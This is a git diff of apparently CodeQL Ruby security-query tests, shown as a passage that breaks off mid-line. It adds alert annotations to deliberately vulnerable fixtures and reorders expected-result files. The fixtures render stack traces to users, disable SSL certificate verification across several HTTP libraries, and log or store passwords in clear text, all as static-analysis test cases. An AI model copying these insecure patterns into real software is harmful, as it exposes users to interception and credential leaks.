b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb index dcdf5c1f22c..19e0c7972cf 100644 --- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb +++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb @@ -3,19 +3,19 @@ class FooController < ApplicationController def show something_that_might_fail() rescue => e - render body: e.backtrace, content_type: "text/plain" + render body: e.backtrace, content_type: "text/plain" # $ Alert end def show2 - bt = caller() - render body: bt, content_type: "text/plain" + bt = caller() # $ Source + render body: bt, content_type: "text/plain" # $ Alert end def show3 not_a_method() rescue NoMethodError => e - render body: e.backtrace, content_type: "text/plain" + render body: e.backtrace, content_type: "text/plain" # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb index 8bdabc31cf2..7838be7dfcd 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb @@ -3,31 +3,31 @@ require "excon" def method1 # BAD Excon.defaults[:ssl_verify_peer] = false - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method2 # BAD Excon.ssl_verify_peer = false - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method3(secure) # BAD Excon.defaults[:ssl_verify_peer] = (secure ? true : false) - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method4 # BAD conn = Excon::Connection.new("http://example.com/", ssl_verify_peer: false) - conn.get + conn.get # $ Alert end def method5 # BAD Excon.ssl_verify_peer = true - Excon.new("http://example.com/", ssl_verify_peer: false).get + Excon.new("http://example.com/", ssl_verify_peer: false).get # $ Alert end def method6 diff --git a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb index 6c12db2c9e6..1e298b82aeb 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb @@ -2,11 +2,11 @@ require "faraday" # BAD connection = Faraday.new("http://example.com", ssl: { verify: false }) -response = connection.get("/") +response = connection.get("/") # $ Alert # BAD connection = Faraday.new("http://example.com", ssl: { verify_mode: OpenSSL::SSL::VERIFY_NONE }) -response = connection.get("/") +response = connection.get("/") # $ Alert # GOOD connection = Faraday.new("http://example.com") @@ -32,7 +32,7 @@ response = connection.get("/") def verify_as_arg(host, path, arg) # BAD, due to the call below connection = Faraday.new(host, ssl: { verify: arg }) - response = connection.get(path) + response = connection.get(path) # $ Alert end verify_as_arg("http://example.com", "/", false) @@ -41,7 +41,7 @@ verify_as_arg("http://example.com", "/", false) def verify_mode_as_arg(host, path, arg) # BAD, due to the call below connection = Faraday.new(host, ssl: { verify_mode: arg }) - response = connection.get(path) + response = connection.get(path) # $ Alert end verify_mode_as_arg("http://example.com", "/", OpenSSL::SSL::VERIFY_NONE) diff --git a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb index 902950e5be9..dccbc0f8b52 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb @@ -3,7 +3,7 @@ require "httpclient" # BAD client = HTTPClient.new client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE -client.get("https://example.com") +client.get("https://example.com") # $ Alert # GOOD client = HTTPClient.new diff --git a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb index 562cbbc1f43..575744da9e8 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb @@ -1,19 +1,19 @@ require "httparty" # BAD -HTTParty.get("http://example.com/", verify: false) +HTTParty.get("http://example.com/", verify: false) # $ Alert # BAD -HTTParty.get("http://example.com/", verify_peer: false) +HTTParty.get("http://example.com/", verify_peer: false) # $ Alert # BAD -HTTParty.get("http://example.com/", { verify_peer: false }) +HTTParty.get("http://example.com/", { verify_peer: false }) # $ Alert # BAD -HTTParty.post("http://example.com/", body: "some_data", verify: false) +HTTParty.post("http://example.com/", body: "some_data", verify: false) # $ Alert # BAD -HTTParty.post("http://example.com/", { body: "some_data", verify: false }) +HTTParty.post("http://example.com/", { body: "some_data", verify: false }) # $ Alert # GOOD HTTParty.get("http://example.com/") diff --git a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb index 9269eeae531..7915e8b80d6 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb @@ -6,5 +6,5 @@ http = Net::HTTP.new uri.host, uri.port http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE request = Net::HTTP::Get.new uri.request_uri -response = http.request request +response = http.request request # $ Alert puts response.body diff --git a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb index a825791c823..377f864b5b7 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb @@ -1,24 +1,24 @@ require "open-uri" # BAD -Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) +Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert # BAD -Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) +Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert # BAD options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE } -Kernel.open("https://example.com", options) +Kernel.open("https://example.com", options) # $ Alert # BAD -URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) +URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert # BAD -URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) +URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert # BAD options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE } -URI.parse("https://example.com").open(options) +URI.parse("https://example.com").open(options) # $ Alert # GOOD Kernel.open("https://example.com") diff --git a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref index e2caf232ddb..22b77bdb4b0 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref +++ b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref @@ -1 +1,2 @@ -queries/security/cwe-295/RequestWithoutValidation.ql \ No newline at end of file +query: queries/security/cwe-295/RequestWithoutValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb index a180ac0d74c..91160728823 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb @@ -2,21 +2,21 @@ require "rest-client" # BAD resource = RestClient::Resource.new("https://example.com", verify_ssl: OpenSSL::SSL::VERIFY_NONE) -response = resource.get +response = resource.get # $ Alert # BAD resource = RestClient::Resource.new("https://example.com", { verify_ssl: OpenSSL::SSL::VERIFY_NONE }) -response = resource.get +response = resource.get # $ Alert # BAD options = { verify_ssl: OpenSSL::SSL::VERIFY_NONE } resource = RestClient::Resource.new("https://example.com", options) -response = resource.get +response = resource.get # $ Alert # BAD value = OpenSSL::SSL::VERIFY_NONE resource = RestClient::Resource.new("https://example.com", verify_ssl: value) -response = resource.get +response = resource.get # $ Alert # GOOD RestClient.get("https://example.com") diff --git a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb index aed601cf888..82f91da4d92 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb @@ -1,11 +1,11 @@ require "typhoeus" # BAD -Typhoeus.get("https://www.example.com", ssl_verifypeer: false) +Typhoeus.get("https://www.example.com", ssl_verifypeer: false) # $ Alert # BAD post_options = { body: "some data", ssl_verifypeer: false } -Typhoeus.post("https://www.example.com", post_options) +Typhoeus.post("https://www.example.com", post_options) # $ Alert # GOOD Typhoeus.get("https://www.example.com") \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.expected b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.expected index 7c2d4d259e3..ae87773dd0e 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.expected +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.expected @@ -1,3 +1,26 @@ +#select +| logging.rb:6:20:6:27 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:6:20:6:27 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:8:21:8:28 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:8:21:8:28 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:10:21:10:28 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:10:21:10:28 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:12:21:12:28 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:12:21:12:28 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:14:23:14:30 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:14:23:14:30 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:16:20:16:27 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:16:20:16:27 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:19:33:19:40 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:19:33:19:40 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:21:44:21:51 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:21:44:21:51 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:23:33:23:40 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:23:33:23:40 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:26:18:26:34 | "pw: #{...}" | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:26:18:26:34 | "pw: #{...}" | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:28:26:28:33 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:28:26:28:33 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | +| logging.rb:38:20:38:34 | ...[...] | logging.rb:30:20:30:53 | "aec5058e61f7f122998b1a30ee2c66b6" : String | logging.rb:38:20:38:34 | ...[...] | This logs sensitive data returned by $@ as clear text. | logging.rb:30:20:30:53 | "aec5058e61f7f122998b1a30ee2c66b6" | a write to password | +| logging.rb:40:20:40:34 | ...[...] | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" : String | logging.rb:40:20:40:34 | ...[...] | This logs sensitive data returned by $@ as clear text. | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" | a write to password | +| logging.rb:42:20:42:34 | ...[...] | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" : String | logging.rb:42:20:42:34 | ...[...] | This logs sensitive data returned by $@ as clear text. | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" | a write to password | +| logging.rb:74:20:74:50 | password_masked_ineffective_sub | logging.rb:64:35:64:68 | "ca497451f5e883662fb1a37bc9ec7838" : String | logging.rb:74:20:74:50 | password_masked_ineffective_sub | This logs sensitive data returned by $@ as clear text. | logging.rb:64:35:64:68 | "ca497451f5e883662fb1a37bc9ec7838" | an assignment to password_masked_ineffective_sub | +| logging.rb:74:20:74:50 | password_masked_ineffective_sub | logging.rb:68:35:68:88 | call to sub | logging.rb:74:20:74:50 | password_masked_ineffective_sub | This logs sensitive data returned by $@ as clear text. | logging.rb:68:35:68:88 | call to sub | an assignment to password_masked_ineffective_sub | +| logging.rb:76:20:76:51 | password_masked_ineffective_gsub | logging.rb:66:36:66:69 | "a7e3747b19930d4f4b8181047194832f" : String | logging.rb:76:20:76:51 | password_masked_ineffective_gsub | This logs sensitive data returned by $@ as clear text. | logging.rb:66:36:66:69 | "a7e3747b19930d4f4b8181047194832f" | an assignment to password_masked_ineffective_gsub | +| logging.rb:76:20:76:51 | password_masked_ineffective_gsub | logging.rb:70:36:70:86 | call to gsub | logging.rb:76:20:76:51 | password_masked_ineffective_gsub | This logs sensitive data returned by $@ as clear text. | logging.rb:70:36:70:86 | call to gsub | an assignment to password_masked_ineffective_gsub | +| logging.rb:78:20:78:53 | password_masked_ineffective_sub_ex | logging.rb:65:38:65:71 | "ca497451f5e883662fb1a37bc9ec7838" : String | logging.rb:78:20:78:53 | password_masked_ineffective_sub_ex | This logs sensitive data returned by $@ as clear text. | logging.rb:65:38:65:71 | "ca497451f5e883662fb1a37bc9ec7838" | an assignment to password_masked_ineffective_sub_ex | +| logging.rb:80:20:80:54 | password_masked_ineffective_gsub_ex | logging.rb:67:39:67:72 | "a7e3747b19930d4f4b8181047194832f" : String | logging.rb:80:20:80:54 | password_masked_ineffective_gsub_ex | This logs sensitive data returned by $@ as clear text. | logging.rb:67:39:67:72 | "a7e3747b19930d4f4b8181047194832f" | an assignment to password_masked_ineffective_gsub_ex | +| logging.rb:84:15:84:22 | password | logging.rb:84:15:84:22 | password | logging.rb:84:15:84:22 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:84:15:84:22 | password | a parameter password | +| logging.rb:84:15:84:22 | password | logging.rb:87:16:87:49 | "65f2950df2f0e2c38d7ba2ccca767291" : String | logging.rb:84:15:84:22 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:87:16:87:49 | "65f2950df2f0e2c38d7ba2ccca767291" | an assignment to password_arg | edges | logging.rb:3:1:3:8 | password : String | logging.rb:6:20:6:27 | password | provenance | | | logging.rb:3:1:3:8 | password : String | logging.rb:8:21:8:28 | password | provenance | | @@ -89,26 +112,3 @@ nodes | logging.rb:87:16:87:49 | "65f2950df2f0e2c38d7ba2ccca767291" : String | semmle.label | "65f2950df2f0e2c38d7ba2ccca767291" : String | | logging.rb:88:5:88:16 | password_arg : String | semmle.label | password_arg : String | subpaths -#select -| logging.rb:6:20:6:27 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:6:20:6:27 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:8:21:8:28 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:8:21:8:28 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:10:21:10:28 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:10:21:10:28 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:12:21:12:28 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:12:21:12:28 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:14:23:14:30 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:14:23:14:30 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:16:20:16:27 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:16:20:16:27 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:19:33:19:40 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:19:33:19:40 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:21:44:21:51 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:21:44:21:51 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:23:33:23:40 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:23:33:23:40 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:26:18:26:34 | "pw: #{...}" | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:26:18:26:34 | "pw: #{...}" | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:28:26:28:33 | password | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" : String | logging.rb:28:26:28:33 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:3:12:3:45 | "043697b96909e03ca907599d6420555f" | an assignment to password | -| logging.rb:38:20:38:34 | ...[...] | logging.rb:30:20:30:53 | "aec5058e61f7f122998b1a30ee2c66b6" : String | logging.rb:38:20:38:34 | ...[...] | This logs sensitive data returned by $@ as clear text. | logging.rb:30:20:30:53 | "aec5058e61f7f122998b1a30ee2c66b6" | a write to password | -| logging.rb:40:20:40:34 | ...[...] | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" : String | logging.rb:40:20:40:34 | ...[...] | This logs sensitive data returned by $@ as clear text. | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" | a write to password | -| logging.rb:42:20:42:34 | ...[...] | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" : String | logging.rb:42:20:42:34 | ...[...] | This logs sensitive data returned by $@ as clear text. | logging.rb:34:19:34:52 | "beeda625d7306b45784d91ea0336e201" | a write to password | -| logging.rb:74:20:74:50 | password_masked_ineffective_sub | logging.rb:64:35:64:68 | "ca497451f5e883662fb1a37bc9ec7838" : String | logging.rb:74:20:74:50 | password_masked_ineffective_sub | This logs sensitive data returned by $@ as clear text. | logging.rb:64:35:64:68 | "ca497451f5e883662fb1a37bc9ec7838" | an assignment to password_masked_ineffective_sub | -| logging.rb:74:20:74:50 | password_masked_ineffective_sub | logging.rb:68:35:68:88 | call to sub | logging.rb:74:20:74:50 | password_masked_ineffective_sub | This logs sensitive data returned by $@ as clear text. | logging.rb:68:35:68:88 | call to sub | an assignment to password_masked_ineffective_sub | -| logging.rb:76:20:76:51 | password_masked_ineffective_gsub | logging.rb:66:36:66:69 | "a7e3747b19930d4f4b8181047194832f" : String | logging.rb:76:20:76:51 | password_masked_ineffective_gsub | This logs sensitive data returned by $@ as clear text. | logging.rb:66:36:66:69 | "a7e3747b19930d4f4b8181047194832f" | an assignment to password_masked_ineffective_gsub | -| logging.rb:76:20:76:51 | password_masked_ineffective_gsub | logging.rb:70:36:70:86 | call to gsub | logging.rb:76:20:76:51 | password_masked_ineffective_gsub | This logs sensitive data returned by $@ as clear text. | logging.rb:70:36:70:86 | call to gsub | an assignment to password_masked_ineffective_gsub | -| logging.rb:78:20:78:53 | password_masked_ineffective_sub_ex | logging.rb:65:38:65:71 | "ca497451f5e883662fb1a37bc9ec7838" : String | logging.rb:78:20:78:53 | password_masked_ineffective_sub_ex | This logs sensitive data returned by $@ as clear text. | logging.rb:65:38:65:71 | "ca497451f5e883662fb1a37bc9ec7838" | an assignment to password_masked_ineffective_sub_ex | -| logging.rb:80:20:80:54 | password_masked_ineffective_gsub_ex | logging.rb:67:39:67:72 | "a7e3747b19930d4f4b8181047194832f" : String | logging.rb:80:20:80:54 | password_masked_ineffective_gsub_ex | This logs sensitive data returned by $@ as clear text. | logging.rb:67:39:67:72 | "a7e3747b19930d4f4b8181047194832f" | an assignment to password_masked_ineffective_gsub_ex | -| logging.rb:84:15:84:22 | password | logging.rb:84:15:84:22 | password | logging.rb:84:15:84:22 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:84:15:84:22 | password | a parameter password | -| logging.rb:84:15:84:22 | password | logging.rb:87:16:87:49 | "65f2950df2f0e2c38d7ba2ccca767291" : String | logging.rb:84:15:84:22 | password | This logs sensitive data returned by $@ as clear text. | logging.rb:87:16:87:49 | "65f2950df2f0e2c38d7ba2ccca767291" | an assignment to password_arg | diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref index 4a8ed809dfc..eb4d8d767b3 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref @@ -1 +1,2 @@ -queries/security/cwe-312/CleartextLogging.ql \ No newline at end of file +query: queries/security/cwe-312/CleartextLogging.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.expected b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.expected index 2a1c5c56465..76b6520fbdb 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.expected +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.expected @@ -1,3 +1,32 @@ +#select +| app/controllers/users_controller.rb:5:39:5:50 | new_password | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" : String | app/controllers/users_controller.rb:5:39:5:50 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" | an assignment to new_password | +| app/controllers/users_controller.rb:7:41:7:52 | new_password | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" : String | app/controllers/users_controller.rb:7:41:7:52 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:3:20:3:53 | "043697b96909e03ca907599d6420555f" | an assignment to new_password | +| app/controllers/users_controller.rb:7:41:7:52 | new_password | app/controllers/users_controller.rb:7:41:7:52 | new_password | app/controllers/users_controller.rb:7:41:7:52 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:7:41:7:52 | new_password | a write to password | +| app/controllers/users_controller.rb:13:42:13:53 | new_password | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" : String | app/controllers/users_controller.rb:13:42:13:53 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" | an assignment to new_password | +| app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" : String | app/controllers/users_controller.rb:15:49:15:60 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" | an assignment to new_password | +| app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:15:49:15:60 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:15:49:15:60 | new_password | a write to password | +| app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" : String | app/controllers/users_controller.rb:15:87:15:98 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:11:20:11:53 | "083c9e1da4cc0c2f5480bb4dbe6ff141" | an assignment to new_password | +| app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:15:49:15:60 | new_password | app/controllers/users_controller.rb:15:87:15:98 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:15:49:15:60 | new_password | a write to password | +| app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:15:87:15:98 | new_password | app/controllers/users_controller.rb:15:87:15:98 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:15:87:15:98 | new_password | a write to password | +| app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" : String | app/controllers/users_controller.rb:21:45:21:56 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" | an assignment to new_password | +| app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:21:45:21:56 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:21:45:21:56 | new_password | a write to password | +| app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" : String | app/controllers/users_controller.rb:21:83:21:94 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:19:20:19:53 | "504d224a806cf8073cd14ef08242d422" | an assignment to new_password | +| app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:21:45:21:56 | new_password | app/controllers/users_controller.rb:21:83:21:94 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:21:45:21:56 | new_password | a write to password | +| app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:21:83:21:94 | new_password | app/controllers/users_controller.rb:21:83:21:94 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:21:83:21:94 | new_password | a write to password | +| app/controllers/users_controller.rb:28:27:28:38 | new_password | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" : String | app/controllers/users_controller.rb:28:27:28:38 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" | an assignment to new_password | +| app/controllers/users_controller.rb:30:28:30:39 | new_password | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" : String | app/controllers/users_controller.rb:30:28:30:39 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:26:20:26:53 | "7d6ae08394c3f284506dca70f05995f6" | an assignment to new_password | +| app/controllers/users_controller.rb:30:28:30:39 | new_password | app/controllers/users_controller.rb:30:28:30:39 | new_password | app/controllers/users_controller.rb:30:28:30:39 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:30:28:30:39 | new_password | a write to password | +| app/controllers/users_controller.rb:37:39:37:50 | new_password | app/controllers/users_controller.rb:35:20:35:53 | "ff295f8648a406c37fbe378377320e4c" : String | app/controllers/users_controller.rb:37:39:37:50 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:35:20:35:53 | "ff295f8648a406c37fbe378377320e4c" | an assignment to new_password | +| app/controllers/users_controller.rb:44:21:44:32 | new_password | app/controllers/users_controller.rb:42:20:42:53 | "78ffbec583b546bd073efd898f833184" : String | app/controllers/users_controller.rb:44:21:44:32 | new_password | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:42:20:42:53 | "78ffbec583b546bd073efd898f833184" | an assignment to new_password | +| app/controllers/users_controller.rb:61:25:61:53 | "password: #{...}\\n" | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" : String | app/controllers/users_controller.rb:61:25:61:53 | "password: #{...}\\n" | This stores sensitive data returned by $@ as clear text. | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" | an assignment to new_password | +| app/controllers/users_controller.rb:64:35:64:61 | "password: #{...}" | app/controllers/users_controller.rb:58:20:58:53 | "0157af7c38cbdd24f1616de4e5321861" : String | app/controllers/users_controller.rb:64:35:64:61 | "password: #{...}" | This stores sensitive data returned by 